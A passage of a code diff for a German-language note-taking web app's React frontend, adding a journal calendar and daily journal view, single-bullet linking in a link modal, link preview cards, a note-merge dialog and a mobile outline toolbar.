+        onChange={(e) => void uploadFile(e.target.files?.[0])}
+      />
+    </div>
+  );
+};

frontend/src/features/workspace/JournalCalendar.tsx

@@ -0,0 +1,123 @@
+import React, { useEffect, useMemo, useState } from 'react';
+import { ChevronLeft, ChevronRight } from 'lucide-react';
+import { MONTHS, monthGrid, parseISODate, todayISO } from '../../lib/journal';
+
+interface JournalCalendarProps {
+  /** Day currently in view; the calendar follows its month */
+  activeDate: string;
+  /** Days with written entries (get a dot) */
+  entryDates: Set<string>;
+  onSelect: (date: string) => void;
+}
+
+const WEEKDAYS = ['Mo', 'Di', 'Mi', 'Do', 'Fr', 'Sa', 'So'];
+
+export const JournalCalendar: React.FC<JournalCalendarProps> = ({ activeDate, entryDates, onSelect }) => {
+  const active = parseISODate(activeDate);
+  const [view, setView] = useState({ year: active.getFullYear(), month: active.getMonth() });
+  useEffect(() => {
+    const d = parseISODate(activeDate);
+    setView({ year: d.getFullYear(), month: d.getMonth() });
+  }, [activeDate]);
+
+  const today = todayISO();
+  const weeks = useMemo(() => monthGrid(view.year, view.month), [view]);
+  const years = useMemo(() => {
+    const now = new Date().getFullYear();
+    let first = now - 5;
+    entryDates.forEach((d) => {
+      first = Math.min(first, Number(d.slice(0, 4)));
+    });
+    const list: number[] = [];
+    for (let y = now + 1; y >= first; y--) list.push(y);
+    return list;
+  }, [entryDates]);
+
+  const shiftMonth = (delta: number) =>
+    setView((v) => {
+      const d = new Date(v.year, v.month + delta, 1);
+      return { year: d.getFullYear(), month: d.getMonth() };
+    });
+
+  return (
+    <div className="select-none text-xs" aria-label="Journal-Kalender">
+      <div className="flex items-center gap-1 mb-1.5">
+        <button
+          type="button"
+          onClick={() => shiftMonth(-1)}
+          className="h-9 w-9 sm:h-7 sm:w-7 shrink-0 rounded-btn flex items-center justify-center text-muted hover:text-main hover:bg-panel transition-colors cursor-pointer"
+          title="Vorheriger Monat"
+          aria-label="Vorheriger Monat"
+        >
+          <ChevronLeft className="w-3.5 h-3.5" />
+        </button>
+        <select
+          value={view.month}
+          onChange={(e) => setView((v) => ({ ...v, month: Number(e.target.value) }))}
+          className="flex-1 min-w-0 h-9 sm:h-7 px-1.5 rounded-btn bg-panel text-main border-0 text-xs font-semibold outline-none focus:ring-1 focus:ring-accent cursor-pointer"
+          aria-label="Monat"
+        >
+          {MONTHS.map((m, i) => (
+            <option key={m} value={i}>
+              {m}
+            </option>
+          ))}
+        </select>
+        <select
+          value={view.year}
+          onChange={(e) => setView((v) => ({ ...v, year: Number(e.target.value) }))}
+          className="w-[4.5rem] h-9 sm:h-7 px-1.5 rounded-btn bg-panel text-main border-0 text-xs font-semibold outline-none focus:ring-1 focus:ring-accent cursor-pointer"
+          aria-label="Jahr"
+        >
+          {years.map((y) => (
+            <option key={y} value={y}>
+              {y}
+            </option>
+          ))}
+        </select>
+        <button
+          type="button"
+          onClick={() => shiftMonth(1)}
+          className="h-9 w-9 sm:h-7 sm:w-7 shrink-0 rounded-btn flex items-center justify-center text-muted hover:text-main hover:bg-panel transition-colors cursor-pointer"
+          title="Nächster Monat"
+          aria-label="Nächster Monat"
+        >
+          <ChevronRight className="w-3.5 h-3.5" />
+        </button>
+      </div>
+
+      <div className="grid grid-cols-7 gap-0.5 text-center text-[10px] text-faint font-semibold mb-0.5">
+        {WEEKDAYS.map((w) => (
+          <span key={w}>{w}</span>
+        ))}
+      </div>
+      <div className="grid grid-cols-7 gap-0.5">
+        {weeks.flat().map((date, i) =>
+          date ? (
+            <button
+              key={date}
+              type="button"
+              onClick={() => onSelect(date)}
+              aria-current={date === activeDate ? 'date' : undefined}
+              title={parseISODate(date).toLocaleDateString('de-DE', { weekday: 'long', day: 'numeric', month: 'long', year: 'numeric' })}
+              className={`relative h-9 sm:h-7 rounded-btn text-xs tabular-nums transition-colors cursor-pointer ${
+                date === activeDate
+                  ? 'bg-accent-dim text-accent font-bold'
+                  : date === today
+                  ? 'text-accent font-semibold ring-1 ring-inset ring-accent-border hover:bg-panel-elevated'
+                  : 'text-main hover:bg-panel-elevated'
+              }`}
+            >
+              {Number(date.slice(8))}
+              {entryDates.has(date) && (
+                <span className="absolute left-1/2 -translate-x-1/2 bottom-0.5 w-1 h-1 rounded-full bg-accent" />
+              )}
+            </button>
+          ) : (
+            <span key={`empty-${i}`} />
+          )
+        )}
+      </div>
+    </div>
+  );
+};

frontend/src/features/workspace/JournalView.tsx

@@ -0,0 +1,246 @@
+import React, { useCallback, useEffect, useMemo, useRef, useState } from 'react';
+import { ArrowLeft, CalendarDays, ChevronDown, Users } from 'lucide-react';
+import { Document, JournalDay, User } from '../../lib/types';
+import { shortDateLabel, todayISO } from '../../lib/journal';
+import { DocumentEditor } from './DocumentEditor';
+import { JournalCalendar } from './JournalCalendar';
+
+const PAGE = 7;
+
+interface JournalViewProps {
+  days: JournalDay[];
+  /** Days jumped to over the calendar (shown even while still empty) */
+  extraDates: string[];
+  activeDate: string;
+  onActiveDateChange: (date: string) => void;
+  /** Set by the calendar; the view scrolls there (nonce: the same day again) */
+  jumpRequest: { date: string; nonce: number } | null;
+  /** Opens (creates on first use) the note of a day */
+  onOpenDay: (date: string) => Promise<Document | null>;
+  onJump: (date: string) => void;
+  getDoc: (id: string) => Document | undefined;
+  currentUser?: User | null;
+  availableFolders: string[];
+  onOpenShareModal: (doc: Document) => void;
+  onDocMetadataChange: (updated: Document) => void;
+  onDeleteDoc: (docId: string) => void;
+  onSelectTag: (tag: string) => void;
+  onWikiLinkClick?: (pageTitle: string, blockId?: string) => void;
+  onOpenDocBlock?: (docId: string, blockId?: string) => void;
+  onOpenTask?: (taskId: string) => void;
+  onBackMobile: () => void;
+  /** A day was saved (its calendar dot may change) */
+  onDaySaved: () => void;
+}
+
+// The journal: one note per day below each other, today on top, older days load while scrolling.
+export const JournalView: React.FC<JournalViewProps> = ({
+  days,
+  extraDates,
+  activeDate,
+  onActiveDateChange,
+  jumpRequest,
+  onOpenDay,
+  onJump,
+  getDoc,
+  currentUser,
+  availableFolders,
+  onOpenShareModal,
+  onDocMetadataChange,
+  onDeleteDoc,
+  onSelectTag,
+  onWikiLinkClick,
+  onOpenDocBlock,
+  onOpenTask,
+  onBackMobile,
+  onDaySaved,
+}) => {
+  const today = todayISO();
+  const docIdByDate = useMemo(() => new Map(days.map((d) => [d.date, d.docId])), [days]);
+  const entryDates = useMemo(() => new Set(days.filter((d) => !d.empty).map((d) => d.date)), [days]);
+
+  // Today, every day with text and the days jumped to – newest first
+  const dates = useMemo(() => {
+    const set = new Set<string>([today, ...extraDates]);
+    days.forEach((d) => {
+      if (!d.empty) set.add(d.date);
+    });
+    return Array.from(set).sort((a, b) => b.localeCompare(a));
+  }, [days, extraDates, today]);
+
+  const [limit, setLimit] = useState(PAGE);
+  const shown = dates.slice(0, limit);
+  const [showCalendar, setShowCalendar] = useState(false);
+
+  // Days on screen without a note yet (today, a day jumped to) get one
+  const opening = useRef(new Set<string>());
+  useEffect(() => {
+    shown.forEach((date) => {
+      if (!docIdByDate.has(date) && !opening.current.has(date)) {
+        opening.current.add(date);
+        void onOpenDay(date).finally(() => opening.current.delete(date));
+      }
+    });
+  }, [shown, docIdByDate, onOpenDay]);
+
+  const scrollRef = useRef<HTMLDivElement | null>(null);
+  const sectionRefs = useRef(new Map<string, HTMLElement>());
+
+  // Jump: make sure the day is rendered, then scroll to it once its note is there
+  const pendingJump = useRef<string | null>(null);
+  const handledJump = useRef(0);
+  useEffect(() => {
+    if (!jumpRequest || handledJump.current === jumpRequest.nonce) return;
+    const idx = dates.indexOf(jumpRequest.date);
+    if (idx === -1) return; // the parent adds the day first
+    handledJump.current = jumpRequest.nonce;
+    if (idx >= limit) setLimit(idx + PAGE);
+    pendingJump.current = jumpRequest.date;
+  }, [jumpRequest, dates, limit]);
+  useEffect(() => {
+    const date = pendingJump.current;
+    if (!date) return;
+    const el = sectionRefs.current.get(date);
+    if (el && docIdByDate.has(date)) {
+      pendingJump.current = null;
+      el.scrollIntoView({ block: 'start' });
+    }
+  });
+
+  // The day at the top of the scroll area is the active one (calendar, share button)
+  const onScroll = useCallback(() => {
+    const root = scrollRef.current;
+    if (!root) return;
+    const top = root.getBoundingClientRect().top + 48;
+    let current = shown[0];
+    for (const date of shown) {
+      const el = sectionRefs.current.get(date);
+      if (!el) continue;
+      if (el.getBoundingClientRect().top <= top) current = date;
+      else break;
+    }
+    if (current && current !== activeDate) onActiveDateChange(current);
+  }, [shown, activeDate, onActiveDateChange]);
+
+  // Load older days when the end comes into view
+  const sentinelRef = useRef<HTMLDivElement | null>(null);
+  useEffect(() => {
+    const el = sentinelRef.current;
+    const root = scrollRef.current;
+    if (!el || !root || typeof IntersectionObserver === 'undefined' || limit >= dates.length) return;
+    const observer = new IntersectionObserver(
+      ([entry]) => {
+        if (entry.isIntersecting) setLimit((l) => l + PAGE);
+      },
+      { root, rootMargin: '400px 0px' }
+    );
+    observer.observe(el);
+    return () => observer.disconnect();
+  }, [limit, dates.length]);
+
+  const activeDocId = docIdByDate.get(activeDate);
+  const activeDoc = activeDocId ? getDoc(activeDocId) : undefined;
+  const sharedCount = activeDoc?.sharedWith?.length ?? 0;
+
+  return (
+    <div className="flex-1 flex flex-col min-h-0 bg-editor view-enter">
+      {/* One header for all days: the day in view and its sharing */}
+      <div className="shrink-0 flex items-center gap-2 px-4 sm:px-6 py-2 border-b border-border">
+        <button
+          type="button"
+          onClick={onBackMobile}
+          className="lg:hidden btn-icon shrink-0 h-11 w-11"
+          title="Zurück zur Seitenleiste"
+        >
+          <ArrowLeft className="w-3.5 h-3.5" />
+        </button>
+        <button
+          type="button"
+          onClick={() => setShowCalendar((v) => !v)}
+          className="lg:pointer-events-none flex-1 min-w-0 flex items-center gap-1.5 text-xs text-main font-medium text-left cursor-pointer"
+          aria-expanded={showCalendar}
+          title="Kalender"
+        >
+          <CalendarDays className="w-3.5 h-3.5 text-accent shrink-0" />
+          <span className="truncate">Journal · {shortDateLabel(activeDate)}</span>
+          <ChevronDown className={`lg:hidden w-3.5 h-3.5 text-muted shrink-0 transition-transform ${showCalendar ? 'rotate-180' : ''}`} />
+        </button>
+        {activeDate !== today && (
+          <button
+            type="button"
+            onClick={() => onJump(today)}
+            className="btn-action shrink-0 h-11 sm:h-7 px-2.5 text-xs"
+          >
+            Heute
+          </button>
+        )}
+        <button
+          type="button"
+          disabled={!activeDoc || !activeDoc.isOwner}
+          onClick={() => activeDoc && onOpenShareModal(activeDoc)}
+          className="btn-icon shrink-0 h-11 w-11 sm:h-7 sm:w-auto sm:px-2 gap-1 disabled:opacity-40"
+          title={activeDoc ? `${activeDoc.title} teilen` : 'Teilen'}
+        >
+          <Users className="w-3.5 h-3.5" />
+          <span className="hidden sm:inline text-xs">{sharedCount > 0 ? `Geteilt (${sharedCount})` : 'Teilen'}</span>
+        </button>
+      </div>
+
+      {showCalendar && (
+        <div className="lg:hidden shrink-0 px-4 py-3 border-b border-border bg-sidebar animate-in fade-in slide-in-from-top-2 duration-200">
+          <JournalCalendar
+            activeDate={activeDate}
+            entryDates={entryDates}
+            onSelect={(date) => {
+              setShowCalendar(false);
+              onJump(date);
+            }}
+          />
+        </div>
+      )}
+
+      <div ref={scrollRef} onScroll={onScroll} className="flex-1 min-h-0 overflow-y-auto">
+        {shown.map((date) => {
+          const docId = docIdByDate.get(date);
+          return (
+            <section
+              key={date}
+              data-journal-date={date}
+              ref={(el) => {
+                if (el) sectionRefs.current.set(date, el);
+                else sectionRefs.current.delete(date);
+              }}
+              className="border-b border-border last:border-b-0 min-h-[8rem]"
+            >
+              {docId ? (
+                <DocumentEditor
+                  key={docId}
+                  variant="journal"
+                  docId={docId}
+                  currentUser={currentUser}
+                  initialDoc={getDoc(docId) || null}
+                  availableFolders={availableFolders}
+                  onDocMetadataChange={onDocMetadataChange}
+                  onDeleteDoc={onDeleteDoc}
+                  onOpenShareModal={onOpenShareModal}
+                  onSelectTag={onSelectTag}
+                  onWikiLinkClick={onWikiLinkClick}
+                  onOpenDocBlock={onOpenDocBlock}
+                  onOpenTask={onOpenTask}
+                  onSaveStatusChange={(status) => {
+                    if (status === 'saved') onDaySaved();
+                  }}
+                />
+              ) : (
+                <div className="px-4 sm:px-8 py-6 text-xs text-muted">{shortDateLabel(date)} wird geöffnet…</div>
+              )}
+            </section>
+          );
+        })}
+        {limit < dates.length && <div ref={sentinelRef} className="h-12" />}
+        {/* Room below the oldest day, so every day can be scrolled to the top */}
+        <div className="h-[60vh]" aria-hidden />
+      </div>
+    </div>
+  );
+};

frontend/src/features/workspace/LinkModal.tsx

@@ -8,9 +8,12 @@ import {
   ExternalLink,
   Loader2,
   Plus,
+  ArrowLeft,
+  ListTree,
 } from 'lucide-react';
 import { api } from '../../lib/api';
-import { Document } from '../../lib/types';
+import { Document, DocumentBlock } from '../../lib/types';
+import { buildBlockLink } from '../../lib/wikiLink';
 
 export interface LinkModalProps {
   isOpen: boolean;
@@ -100,6 +103,37 @@ export const LinkModal: React.FC<LinkModalProps> = ({
     );
   }, [docs, search]);
 
+  // Picking a single bullet of a note (link to that bullet)
+  const [pickDoc, setPickDoc] = useState<Document | null>(null);
+  const [pickBlocks, setPickBlocks] = useState<DocumentBlock[] | null>(null);
+  const [blockSearch, setBlockSearch] = useState('');
+  useEffect(() => {
+    if (!isOpen) {
+      setPickDoc(null);
+      setPickBlocks(null);
+      setBlockSearch('');
+    }
+  }, [isOpen]);
+  const openBlockPicker = (doc: Document) => {
+    setPickDoc(doc);
+    setBlockSearch('');
+    if (doc.blocks && doc.blocks.length > 0) {
+      setPickBlocks(doc.blocks);
+      return;
+    }
+    setPickBlocks(null);
+    api
+      .getDocument(doc.id)
+      .then((full) => setPickBlocks(full.blocks || []))
+      .catch(() => setPickBlocks([]));
+  };
+  const pickableBlocks = useMemo(() => {
+    const q = blockSearch.trim().toLowerCase();
+    return (pickBlocks || []).filter(
+      (b) => b.content.trim() !== '' && b.type !== 'divider' && (!q || b.content.toLowerCase().includes(q))
+    );
+  }, [pickBlocks, blockSearch]);
+
   const handleSelectNote = (doc: { title: string }) => {
     const noteTitle = doc.title.trim() || 'Notiz';
     onInsertLink(`[[${noteTitle}]]`);
@@ -244,8 +278,59 @@ export const LinkModal: React.FC<LinkModalProps> = ({
           )}
         </div>
 
+        {/* Bullets of one note: link to a single bullet */}
+        {tab === 'note' && pickDoc && (
+          <div className="space-y-2">
+            <div className="flex items-center gap-2">
+              <button
+                type="button"
+                onClick={() => setPickDoc(null)}
+                className="btn-icon h-11 w-11 sm:h-7 sm:w-7 shrink-0"
+                title="Zurück zur Notizliste"
+                aria-label="Zurück zur Notizliste"
+              >
+                <ArrowLeft className="w-3.5 h-3.5" />
+              </button>
+              <span className="text-xs font-semibold text-main truncate">
+                Punkt in „{pickDoc.title || 'Unbenannte Notiz'}“ wählen
+              </span>
+            </div>
+            <input
+              type="text"
+              value={blockSearch}
+              onChange={(e) => setBlockSearch(e.target.value)}
+              placeholder="Punkte filtern…"
+              className="input-field w-full h-11 sm:h-8 px-2.5 text-xs"
+              aria-label="Punkte filtern"
+            />
+            <div className="space-y-0.5 max-h-64 overflow-y-auto pr-0.5">
+              {pickBlocks === null ? (
+                <div className="p-4 text-xs text-muted flex items-center gap-2 justify-center">
+                  <Loader2 className="w-4 h-4 animate-spin text-accent" />
+                  <span>Punkte werden geladen…</span>
+                </div>
+              ) : pickableBlocks.length === 0 ? (
+                <div className="p-4 text-xs text-muted text-center">Keine passenden Punkte.</div>
+              ) : (
+                pickableBlocks.map((b) => (
+                  <button
+                    key={b.id}
+                    type="button"
+                    onClick={() => onInsertLink(buildBlockLink(pickDoc.title || 'Notiz', b.id, b.content))}
+                    className="w-full text-left min-h-[44px] sm:min-h-0 py-1.5 pr-2 rounded-btn text-xs text-main hover:bg-panel-elevated hover:text-accent flex items-start gap-1.5 cursor-pointer"
+                    style={{ paddingLeft: `${0.5 + Math.min(b.level || 0, 5) * 0.875}rem` }}
+                  >
+                    <span className="text-faint shrink-0">•</span>
+                    <span className="line-clamp-2 break-words">{b.content}</span>
+                  </button>
+                ))
+              )}
+            </div>
+          </div>
+        )}
+
         {/* Note List Section (Matching Active Shares list in UnifiedShareModal) */}
-        {tab === 'note' && (
+        {tab === 'note' && !pickDoc && (
           <div className="space-y-2">
             <div className="flex items-center justify-between text-xs font-semibold text-muted uppercase tracking-wider px-0.5">
               <span>Verfügbare Notizen</span>
@@ -289,14 +374,28 @@ export const LinkModal: React.FC<LinkModalProps> = ({
                         )}
                       </div>
                     </div>
+                    <div className="flex items-center gap-1 shrink-0">
                       <button
                         type="button"
-                      className="btn-action text-xs h-7 px-2.5 opacity-0 group-hover:opacity-100 transition-opacity flex items-center gap-1 text-accent cursor-pointer shrink-0"
+                        onClick={(e) => {
+                          e.stopPropagation();
+                          openBlockPicker(d as Document);
+                        }}
+                        className="btn-icon h-11 w-11 sm:h-7 sm:w-7 text-muted hover:text-accent"
+                        title="Einen einzelnen Punkt dieser Notiz verlinken"
+                        aria-label="Punkt dieser Notiz wählen"
+                      >
+                        <ListTree className="w-3.5 h-3.5" />
+                      </button>
+                      <button
+                        type="button"
+                        className="btn-action text-xs h-7 px-2.5 opacity-0 group-hover:opacity-100 transition-opacity flex items-center gap-1 text-accent cursor-pointer"
                       >
                         <span>Einfügen</span>
                         <ExternalLink className="w-3 h-3" />
                       </button>
                     </div>
+                  </div>
                 ))
               )}
             </div>

frontend/src/features/workspace/LinkPreviewCard.tsx

@@ -0,0 +1,84 @@
+import React, { useEffect, useState } from 'react';
+import { Globe, X } from 'lucide-react';
+import { LinkPreview, loadLinkPreview } from '../../lib/linkPreview';
+import { loadAuthorized } from '../../lib/media';
+import { safeHref } from '../../lib/safeUrl';
+
+interface LinkPreviewCardProps {
+  url: string;
+  canEdit: boolean;
+  onHide: (title: string) => void;
+}
+
+function usePicture(preview: LinkPreview | null, kind: 'image' | 'icon'): string | null {
+  const [src, setSrc] = useState<string | null>(null);
+  const has = preview ? (kind === 'image' ? preview.hasImage : preview.hasIcon) : false;
+  const key = preview?.key;
+  useEffect(() => {
+    if (!has || !key) return;
+    let alive = true;
+    loadAuthorized(`/api/v1/link-preview/${key}/${kind}`)
+      .then((p) => alive && setSrc(p.url))
+      .catch(() => {});
+    return () => {
+      alive = false;
+    };
+  }, [has, key, kind]);
+  return src;
+}
+
+// Compact card above a bullet with a web address: icon and site, title, one line of description and a
+// small picture. Nothing is shown when the page offers nothing usable.
+export const LinkPreviewCard: React.FC<LinkPreviewCardProps> = ({ url, canEdit, onHide }) => {
+  const [preview, setPreview] = useState<LinkPreview | null>(null);
+  const image = usePicture(preview, 'image');
+  const icon = usePicture(preview, 'icon');
+  const href = safeHref(url);
+
+  useEffect(() => {
+    let alive = true;
+    setPreview(null);
+    void loadLinkPreview(url).then((p) => alive && setPreview(p));
+    return () => {
+      alive = false;
+    };
+  }, [url]);
+
+  if (!preview || !href) return null;
+
+  return (
+    <div className="relative mb-1 max-w-xl">
+      <a
+        href={href}
+        target="_blank"
+        rel="noopener noreferrer"
+        className="flex items-stretch gap-3 min-h-[6.5rem] rounded-card border border-border bg-panel hover:bg-panel-elevated transition-colors overflow-hidden no-underline"
+      >
+        <div className="min-w-0 flex-1 py-3 pl-3 pr-11 sm:pr-8 space-y-1 flex flex-col justify-center">
+          <div className="flex items-center gap-1.5 text-[11px] text-faint min-w-0">
+            {icon ? (
+              <img src={icon} alt="" className="w-3.5 h-3.5 rounded-sm shrink-0" />
+            ) : (
+              <Globe className="w-3.5 h-3.5 shrink-0" />
+            )}
+            <span className="truncate">{preview.siteName}</span>
+          </div>
+          {preview.title && <div className="text-sm font-semibold text-main line-clamp-2 leading-snug">{preview.title}</div>}
+          {preview.description && <div className="text-xs text-muted line-clamp-2">{preview.description}</div>}
+        </div>
+        {image && <img src={image} alt="" className="w-28 sm:w-40 object-cover shrink-0 border-l border-border" />}
+      </a>
+      {canEdit && (
+        <button
+          type="button"
+          onClick={() => onHide(preview.title)}
+          title="Vorschau für diesen Link ausblenden"
+          aria-label="Vorschau ausblenden"
+          className="absolute top-0 right-0 sm:top-1 sm:right-1 w-11 h-11 sm:w-7 sm:h-7 flex items-center justify-center rounded-full bg-panel/70 text-muted hover:text-main"
+        >
+          <X className="w-3.5 h-3.5" />
+        </button>
+      )}
+    </div>
+  );
+};

frontend/src/features/workspace/MergeDialog.tsx

@@ -0,0 +1,109 @@
+import React, { useMemo, useState } from 'react';
+import { GitMerge, Search } from 'lucide-react';
+import { FormSheet } from '../../components/FormSheet';
+import { api } from '../../lib/api';
+import { Document, MergeResult } from '../../lib/types';
+
+interface MergeDialogProps {
+  docs: Document[];
+  sourceId: string;
+  /** Known after a drop in the sidebar; otherwise the user picks it here */
+  targetId?: string | null;
+  onClose: () => void;
+  onMerged: (result: MergeResult) => void;
+}
+
+const canWrite = (d: Document) => d.isOwner || d.permission === 'owner' || d.permission === 'write';
+
+// Merging a note into another: pick the target (when not dropped onto one), confirm, merge. The source
+// is appended to the target under a heading with its title and goes to the trash.
+export const MergeDialog: React.FC<MergeDialogProps> = ({ docs, sourceId, targetId, onClose, onMerged }) => {
+  const [target, setTarget] = useState<string | null>(targetId || null);
+  const [query, setQuery] = useState('');
+  const [busy, setBusy] = useState(false);
+  const [error, setError] = useState<string | null>(null);
+  const source = docs.find((d) => d.id === sourceId);
+  const targetDoc = docs.find((d) => d.id === target);
+
+  const candidates = useMemo(() => {
+    const q = query.trim().toLowerCase();
+    return docs
+      .filter((d) => d.id !== sourceId && !d.isArchived && canWrite(d))
+      .filter((d) => !q || (d.title || '').toLowerCase().includes(q))
+      .slice(0, 50);
+  }, [docs, sourceId, query]);
+
+  const submit = async (e: React.FormEvent) => {
+    e.preventDefault();
+    if (!target) return;
+    setBusy(true);
+    setError(null);
+    try {
+      onMerged(await api.mergeDocuments(target, sourceId));
+    } catch (err: any) {
+      setError(err?.message || 'Zusammenführen fehlgeschlagen');
+      setBusy(false);
+    }
+  };
+
+  const title = (d?: Document) => `„${d?.title || 'Unbenannte Notiz'}“`;
+
+  return (
+    <FormSheet
+      title="Notizen zusammenführen"
+      icon={<GitMerge className="w-4 h-4" />}
+      onClose={onClose}
+      onSubmit={submit}
+      submitLabel={target ? 'Zusammenführen' : 'Ziel wählen'}
+      busy={busy || !target}
+    >
+      {targetDoc ? (
+        <div className="space-y-2 text-xs">
+          <p className="text-main">
+            Notiz {title(source)} in {title(targetDoc)} zusammenführen?
+          </p>
+          <p className="text-muted">
+            Die Punkte von {title(source)} werden als eigener Abschnitt an {title(targetDoc)} angehängt.{' '}
+            {title(source)} wandert danach in den Papierkorb; „Rückgängig“ macht beides wieder rückgängig.
+          </p>
+          {!targetId && (
+            <button type="button" onClick={() => setTarget(null)} className="text-accent hover:underline min-h-[44px] sm:min-h-0">
+              Anderes Ziel wählen
+            </button>
+          )}
+        </div>
+      ) : (
+        <div className="space-y-2">
+          <p className="text-xs text-muted">In welche Notiz soll {title(source)} eingefügt werden?</p>
+          <div className="relative">
+            <Search className="w-3.5 h-3.5 text-faint absolute left-2.5 top-1/2 -translate-y-1/2" />
+            <input
+              autoFocus
+              value={query}
+              onChange={(e) => setQuery(e.target.value)}
+              placeholder="Notiz suchen…"
+              className="w-full h-11 sm:h-9 pl-8 pr-2 input-field text-sm"
+            />
+          </div>
+          <ul className="max-h-64 overflow-y-auto divide-y divide-border rounded-card border border-border">
+            {candidates.map((d) => (
+              <li key={d.id}>
+                <button
+                  type="button"
+                  onClick={() => setTarget(d.id)}
+                  className="w-full min-h-[44px] sm:min-h-0 px-3 py-2 flex items-center gap-2 text-left text-xs text-main hover:bg-panel-elevated"
+                >
+                  <span className="shrink-0">{d.icon || '📝'}</span>
+                  <span className="truncate flex-1">{d.title || 'Unbenannte Notiz'}</span>
+                  {d.folderPath && <span className="text-[10px] text-faint truncate max-w-[40%]">{d.folderPath}</span>}
+                </button>
+              </li>
+            ))}
+            {candidates.length === 0 && <li className="px-3 py-3 text-xs text-faint">Keine passende Notiz</li>}
+          </ul>
+        </div>
+      )}
+      {error && <p className="text-xs text-status-err">{error}</p>}
+    </FormSheet>
+  );
+};

frontend/src/features/workspace/MobileOutlineBar.tsx

@@ -0,0 +1,57 @@
+import React from 'react';
+import { createPortal } from 'react-dom';
+import { ArrowDown, ArrowUp, IndentDecrease, IndentIncrease } from 'lucide-react';
+import { useKeyboardInset } from '../../lib/useKeyboardInset';
+
+// Phones and tablets have no Tab key: while a bullet is being edited, a slim bar sits right above the
+// on-screen keyboard (only while it is open) with outdent / indent and move up / down (the bullet takes its children along).
+export const isTouchOnly =
+  typeof window !== 'undefined' &&
+  !!window.matchMedia?.('(hover: none) and (pointer: coarse)').matches &&
+  !window.matchMedia?.('(any-pointer: fine)').matches;
+
+interface MobileOutlineBarProps {
+  onOutdent: () => void;
+  onIndent: () => void;
+  onMoveUp: () => void;
+  onMoveDown: () => void;
+}
+
+export const MobileOutlineBar: React.FC<MobileOutlineBarProps> = ({ onOutdent, onIndent, onMoveUp, onMoveDown }) => {
+  // iOS keeps fixed elements behind the keyboard: lift the bar by the keyboard's height
+  const { inset, keyboardOpen } = useKeyboardInset();
+
+  const button = (label: string, icon: React.ReactNode, action: () => void) => (
+    <button
+      type="button"
+      aria-label={label}
+      title={label}
+      // Keep the focus (and the keyboard) in the bullet: no focus change on press, act on click
+      onPointerDown={(e) => e.preventDefault()}
+      onMouseDown={(e) => e.preventDefault()}
+      onClick={action}
+      className="h-10 flex-1 max-w-[4.5rem] flex items-center justify-center rounded-btn border border-border bg-canvas text-main active:bg-panel-elevated touch-manipulation"
+    >
+      {icon}
+    </button>
+  );
+
+  // Keyboard closed (e.g. back button) while the bullet keeps its focus: no bar over the bottom navigation
+  if (!keyboardOpen) return null;
+
+  return createPortal(
+    <div
+      className="fixed left-0 right-0 z-[70] flex items-center justify-center gap-2 px-3 py-1.5 bg-panel/95 backdrop-blur-md border-t border-border"
+      style={{ bottom: inset }}
+      role="toolbar"
+      aria-label="Punkt bearbeiten"
+    >
+      {button('Ausrücken', <IndentDecrease className="w-5 h-5" />, onOutdent)}
+      {button('Einrücken', <IndentIncrease className="w-5 h-5" />, onIndent)}
+      <span className="w-px h-6 bg-border mx-1" aria-hidden />
+      {button('Nach oben', <ArrowUp className="w-5 h-5" />, onMoveUp)}
+      {button('Nach unten', <ArrowDown className="w-5 h-5" />, onMoveDown)}
+    </div>,
+    document.body
+  );
+};

frontend/src/features/workspace/OutlinerTree.tsx

@@ -1,6 +1,10 @@
 import React, { useState, useRef, useEffect, useCallback, useMemo, forwardRef, useImperativeHandle } from 'react';
 import { DocumentBlock, BlockType } from '../../lib/types';
 import { OutlinerBlock } from './OutlinerBlock';
+import { parsePastedLines } from '../../lib/pasteOutline';
+import { numberedLabels } from '../../lib/outlineList';
+import { flushSync } from 'react-dom';
+import { MobileOutlineBar, isTouchOnly } from './MobileOutlineBar';
 
 export interface OutlinerTreeHandle {
   focusFirstBlock: () => void;
@@ -9,19 +13,25 @@ export interface OutlinerTreeHandle {
 
 export interface OutlinerTreeProps {
   docId: string;
+  /** Smaller click area below the last bullet (journal days) */
+  compact?: boolean;
   blocks: DocumentBlock[];
   canEdit: boolean;
   levelOffset?: number;
   onZoomBlock?: (blockId: string) => void;
+  onExtractBlock?: (blockId: string) => void;
   onUpdateBlock: (updated: DocumentBlock, immediate?: boolean) => void;
   onUpdateBlocks?: (updated: DocumentBlock[]) => void;
   onCreateBlock: (newBlock: DocumentBlock, afterBlockId?: string) => void;
   onInsertBlocks?: (afterBlockId: string, updatedCurrent: DocumentBlock, newBlocks: DocumentBlock[]) => void;
   onDeleteBlock: (blockId: string) => void;
   onMoveBlock: (blockId: string, newIndex: number, level?: number) => void;
+  /** Swap a bullet (with children) with its previous / next sibling (phone bar ↑ ↓) */
+  onMoveSibling?: (blockId: string, direction: -1 | 1) => void;
   onOpenTask?: (taskId: string) => void;
   onTagClick?: (tag: string) => void;
-  onWikiLinkClick?: (pageTitle: string) => void;
+  onWikiLinkClick?: (pageTitle: string, blockId?: string) => void;
+  onCopyBlockLink?: (blockId: string) => void;
   initialFocusedBlockId?: string | null;
   onFocusedBlockChange?: (blockId: string | null) => void;
   lockedBlocks?: Map<string, string>; // blockId -> name of the user editing it (someone else)
@@ -33,19 +43,23 @@ export interface OutlinerTreeProps {
 
 export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
   docId,
+  compact = false,
   blocks,
   canEdit,
   levelOffset = 0,
   onZoomBlock,
+  onExtractBlock,
   onUpdateBlock,
   onUpdateBlocks,
   onCreateBlock,
   onInsertBlocks,
   onDeleteBlock,
   onMoveBlock,
+  onMoveSibling,
   onOpenTask,
   onTagClick,
   onWikiLinkClick,
+  onCopyBlockLink,
   initialFocusedBlockId,
   onFocusedBlockChange,
   lockedBlocks,
@@ -233,13 +247,35 @@ export const OutlinerTree = forwardRef<OutlinerTreeHandle, OutlinerTreeProps>(({
     return result;
   }, [blocks, levelOffset]);
 
+  const listLabels = useMemo(() => numberedLabels(blocks), [blocks]);
+
+  // Whether another bullet on the same level follows (before the branch ends); an empty bullet
+  // is then not outdented by Enter
+  const siblingFollows = useCallback(
+    (index: number) => {
+      const level = blocks[index]?.level || 0;
+      for (let i = index + 1; i < blocks.length; i++) {
+        const l = blocks[i].level || 0;
+        if (l < level) return false;
+        if (l === level) return true;
+      }
+      return false;
+    },
+    [blocks]
+  );
+
   const handleCreateBlockBelow = useCallback(
     (afterBlockId: string, newContent: string = '') => {
       if (!canEdit) return;
       const idx = blocks.findIndex((b) => b.id === afterBlockId);
       const currentBlock = idx >= 0 ? blocks[idx] : null;
-      const level = currentBlock ? Math.max(0, currentBlock.level || 0) : 0;
